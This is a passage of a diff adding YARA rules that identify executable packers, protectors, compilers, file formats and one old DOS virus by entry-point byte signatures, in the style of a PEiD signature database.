+		$1 = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
+		$2 = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _ExePack_10___
+{
+	meta:
+		description = "ExePack 1.0 -> ºÚÒ¹²Êºç"
+	strings:
+		$0 = {60 E8 36 FE FF FF C3 90}
+	condition:
+		$0 at entrypoint
+}
+rule _MrHDKiLLeR_ProtectioN_10_
+{
+	meta:
+		description = "Mr.HDKiLLeR ProtectioN 1.0"
+	strings:
+		$0 = {48 51 44 2E A1 01 01 2D 11 00 8B D8 05 00 01 8B F0 BF 00 01 B9 14 00 90 F3 A4 8B CB D1 E9 B8 00 01 8B F0 8B F8 06 6A 00 07 26 8B 2E 04 00 26 FF 36 06 00 07 26 8A 76 00 6A 00 07 26 8B 2E 0C 00 26 FF 36 0E 00 07 26 8A 56 00 6A 00 07 26 8B 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V13XV14X__RiSco_
+{
+	meta:
+		description = "ACProtect V1.3X-V1.4X -> RiSco"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V101__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.01 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _LamCrypt_10__LaZaRuS_
+{
+	meta:
+		description = "LamCrypt 1.0 -> LaZaRuS"
+	strings:
+		$0 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _CalComp_Graphics_format_
+{
+	meta:
+		description = "CalComp Graphics format"
+	strings:
+		$0 = {02 50 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v33_
+{
+	meta:
+		description = "Shrinker v3.3"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Encapsulated_Postscript_graphics_file_v30_EPSF30_
+{
+	meta:
+		description = "Encapsulated Postscript graphics file v3.0 EPSF-3.0"
+	strings:
+		$0 = {25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Noon1163_
+{
+	meta:
+		description = "Vx: Noon.1163"
+	strings:
+		$0 = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+		$1 = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v100__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v1.00 -> tHE EGOiSTE"
+	strings:
+		$0 = {E9 E5 E2 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Jam_211_COM_
+{
+	meta:
+		description = "Jam 2.11 [COM]"
+	strings:
+		$0 = {50 06 16 07 BE 08 02 8B FE B9 05 01 FD FA F3 2E A5 FB 06 BD 78 00 55 CB BE 00 00 8B FE BD 00 00 55 8D 9E 00 10 8D 97 00 00 B9 00 00 80 EF 10 8E DB 80 EE 10 8E C2 F3 A5 B5 80 3B DD 77 EE 33 C9 BE 00 00 8B FE 8E DA 8E C3 FC BA 01 00 EB 43 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v1304__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.304 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1361__Obsidium_Software__20080521_
+{
+	meta:
+		description = "Obsidium V1.3.6.1 -> Obsidium Software * 20080521"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? E8 ?? 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 ?? EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 64 FF 30 EB 04 ?? ?? ?? ?? 64 89 20 EB 01 ?? EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? FF FF FF EB 01 ?? EB 03 ?? ?? ?? EB 01 ?? EB 03 ?? ?? ?? 64 8F 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? 58 EB 02 ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_3x_
+{
+	meta:
+		description = "MinGW GCC 3.x"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PeX_099__bartCrackPl_
+{
+	meta:
+		description = "PeX 0.99 -> bart^CrackPl"
+	strings:
+		$0 = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_302_
+{
+	meta:
+		description = "UPX 3.02"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _PROTECT_EXECOM_v50_
+{
+	meta:
+		description = "PROTECT! EXE/COM v5.0"
+	strings:
+		$0 = {1E 0E 0E 1F 07}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack_Mutator_11c_
+{
+	meta:
+		description = "WWPack Mutator 1.1c"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 2E 80 00 00 00 00 00 00 00 75 F5}
+	condition:
+		$0 at entrypoint
+}
+rule _GX_Protector_12__GurueXe_
+{
+	meta:
+		description = "G!X Protector 1.2 -> Guru.eXe"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1360__Obsidium_Software____20080730_
+{
+	meta:
+		description = "Obsidium V1.3.6.0 -> Obsidium Software   * 20080730"
+	strings:
+		$0 = {EB 02 ?? ?? 50 EB 01 ?? E8 ?? 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 1F EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 33 C0 EB 01 ?? 64 FF 30 EB 04 ?? ?? ?? ?? 64 89 20 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 ?? 00 00 00 EB 01 ?? E8 ?? FF FF FF EB 01 ?? EB 03 ?? ?? ?? EB 02 ?? ?? EB 02 ?? ?? 64 8F 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v125_
+{
+	meta:
+		description = "PECompact v1.25"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPAck_1061b_
+{
+	meta:
+		description = "ASPAck 1.061b"
+	strings:
+		$0 = {90 90 75 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Upx_v12__Marcus__Lazlo_
+{
+	meta:
+		description = "Upx v1.2 -> Marcus & Lazlo"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_packer_vna_NV001_
+{
+	meta:
+		description = "Unknown_packer vna NV001"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 03 1E 40 00 33 C0 33 DB 33 D2 EB 01 E8 B9 A0 86 01 00 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 0F 83 34 06 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_01__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 0.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Neolite_20_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Neolite 2.0"
+	strings:
+		$0 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_212b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 2.12b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB EC FF FF FF 03 DD 81 EB 00 ?? ?? 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4C 0F 00 00 89 85 26 04 00 00 8B F8 8D 5D 5E 53 50 FF 95 48 0F 00 00 89 85 4C 05 00 00 8D 5D 6B 53 57 FF 95 48 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_1214_SE_DLL__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2/1.4 SE DLL -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Splash_Bitmap_v100__BoB__Bobsoft_
+{
+	meta:
+		description = "Splash Bitmap v1.00 --> BoB / Bobsoft"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+		$1 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LZEXE_v091_v100a_3_
+{
+	meta:
+		description = "LZEXE v0.91, v1.00a (3)"
+	strings:
+		$0 = {50 06 0E 1F 8B 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _RERP_002_
+{
+	meta:
+		description = "RERP 0.02"
+	strings:
+		$0 = {FC 1E 06 8C C3 83 C3 10 0E 1F BE 38 00 B9 FF FF AD 3B C1 75 0A AD 3B C1 74 0C 03 C3 8E C0 AD 8B F8 26 01 1D EB EA 07 1F 2E 03 1E 36 00 53 2E FF 36 34 00 CB 00 00 00 00 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Wavelet_compressed_bitmap_
+{
+	meta:
+		description = "Wavelet compressed bitmap"
+	strings:
+		$0 = {57 49}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_vxxxx_
+{
+	meta:
+		description = "Obsidium vx.x.x.x"
+	strings:
+		$0 = {E8 47 19}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V1451__CGSoftLabs__SignByfly_
+{
+	meta:
+		description = "eXPressor V1.4.5.1 -> CGSoftLabs * Sign.By.fly"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B 48 18 89 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 16 A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 48 14}
+	condition:
+		$0
+}
+rule _PKLITE_v150_1_
+{
+	meta:
+		description = "PKLITE v1.50 (1)"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_12DLLDemo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2.DLL.Demo -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+		$2 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _PECompact_v110b6__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.10b6 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+	condition:
+		$0 at entrypoint
+}
+rule _Name_of_the_Packer_v10_
+{
+	meta:
+		description = "Name of the Packer v1.0"
+	strings:
+		$0 = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Watcom_CCpp_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Watcom C/C++ DLL"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_V01V015__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite V0.1-V0.15 -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v20_
+{
+	meta:
+		description = "Stone's PE Encryptor v2.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v100_
+{
+	meta:
+		description = "HACKSTOP v1.00"
+	strings:
+		$0 = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+		$1 = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CodeSafe_30_
+{
+	meta:
+		description = "CodeSafe 3.0"
+	strings:
+		$0 = {55 8B EC 83 EC 5C 53 56 57 E8 00 00 00 00 8B 04 24 5A 83 E8 0E 8B D8 89 5D F8 2D 00 00 00 01 89 45 E0 8B C8 81 C1 70 00 00 01 89 19 8B D8 81 C3 E0 00 00 01 89 5D F4 8B 0B 0B C9 74 06 5F 5E 5B C9 FF E1 8B D0 81 C2 6C 00 00 01 8B 0A 8B D0 81}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtect_2050618Cloud__CoooLie_
+{
+	meta:
+		description = "VProtect 2.0.5.0618.Cloud -> CoooLie"
+	strings:
+		$0 = {60 F6 D3 66 F7 D2 66 F7 D2 F6 D3 61 66 91 60 F7 D3 F7 D3 61 66 91 8B 67 28 8B C9 66 55 66 5D 61 66 8B FF 66 52 66 5A 66 50 66 58 8D 80 F3 FF FF FF 9C 9D 8D 80 0D 00 00 00 60 61 9D 51 8D 80 E5 FF FF FF 8D 80 1B 00 00 00 59 8D 9B ED FF FF FF 50 66 87 CE 8B D2 66 87 CE 58 8D 9B 13 00 00 00 8D 89 FB FF FF FF 60 66 F7 D3 8D 89 FD FF FF FF 8D 89 03 00 00 00 66 F7 D3 61 8D 89 05 00 00 00 66 53 8D AD F5 FF FF FF 8A FF 8D AD 0B 00 00 00 66 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cue_50p_MFC_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Cue 5.0+ (MFC)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_2122_dll__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HideProtect_1016__SoftWar_Company_
+{
+	meta:
+		description = "Hide&Protect 1.016 -> SoftWar Company"
+	strings:
+		$0 = {90 90 90 E9 D8 ?? 05 00 95 ?? 53 00 95 4A 50 00}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_090_m_p_COM_
+{
+	meta:
+		description = "aPack 0.90 -m -p [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 A4 FF D5 73 FB FF D5 73 14 FF D5 73 00 33 DB B1 04 FF D5 13 DB E2 FA 75 00 93 AA EB E4 E8 00 00 49 E2 07 5B 53 E8 00 00 EB 00 49 AC 8A E1 93 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1990_10_
+{
+	meta:
+		description = "MS Run-Time Library 1990 (10)"
+	strings:
+		$0 = {E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB}
+	condition:
+		$0 at entrypoint
+}
